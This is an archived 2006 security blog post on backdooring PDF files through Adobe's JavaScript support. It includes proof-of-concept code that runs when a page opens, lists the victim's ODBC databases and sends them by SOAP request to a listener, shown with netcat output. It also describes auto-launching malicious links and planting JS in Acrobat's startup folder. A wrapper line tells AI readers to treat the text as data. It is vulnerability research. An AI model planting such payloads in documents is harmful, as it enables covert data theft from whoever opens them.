Backdooring PDF Files

Backdooring PDF Files - David Kierznowski, michaeldaw.org.

- Published: date not stated
- Original: <https://web.archive.org/web/20070102032610/http://michaeldaw.org/md-hacks/backdooring-pdf-files/>
- Preserved from: https://web.archive.org/web/20070102032610/http://michaeldaw.org/md-hacks/backdooring-pdf-files/ (manual-import) on 2026-08-07
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Operation n » Backdooring PDF Files

The Wayback Machine - https://web.archive.org/web/20070102032610/http://michaeldaw.org:80/md-hacks/backdooring-pdf-files/

Operation n

The Adventures of Michael Daw

Backdooring PDF Files

Posted by david.kierznowski On September 13th, 2006 at 07:09

Link | Trackbacks | Links In |

Posted in Michael Daw's Hacks

[image: image]

Recently, there has been alot of hype involving backdooring various web technologies. pdp (architect) has done alot of work centered around this area.

I saw Jeremiah Grossman mention PDF's being "BAD", however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.

At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.

Adobe supports its own JavaScript object model. For example, “alert(’xss’)” must be called from the app object, so this becomes “app.alert(’xss’)”. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.

This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the “Page Open” event.

The trigger can be accessed via “Page Properties | Actions tab”.

The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user’s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 & 7 did not warn me before launching these URLs.

The second attack involves utilising Adobe’s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to “localhost” via the web service.

```
var cURL = "http://localhost/";
var cTestString = "";

var databaseList = ADBC.getDataSourceList();

var DB = "";
 if (databaseList != null) {
  for (var i=0; i<databaseList.length ; i++)
   DB+=databaseList[i].name;
 }

cTestString = DB;

var response = SOAP.request( {
 cURL: cURL,
 oRequest: {
  "http://myxmlns/:echoString": {
   inputString: cTestString
  }
 },
cAction: "http://additional-opt/"
});

var result = response["http://no-need/:echoStringResponse"]["return"];
```

```
On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w
3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOA
P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so
ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">**MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1**</inputString>
</ns0:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, “HTML forms”, “File system access” and the list goes on. One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.

Proof of concept for example 1 can be found here. Proof of concept for example 2 can be found here.
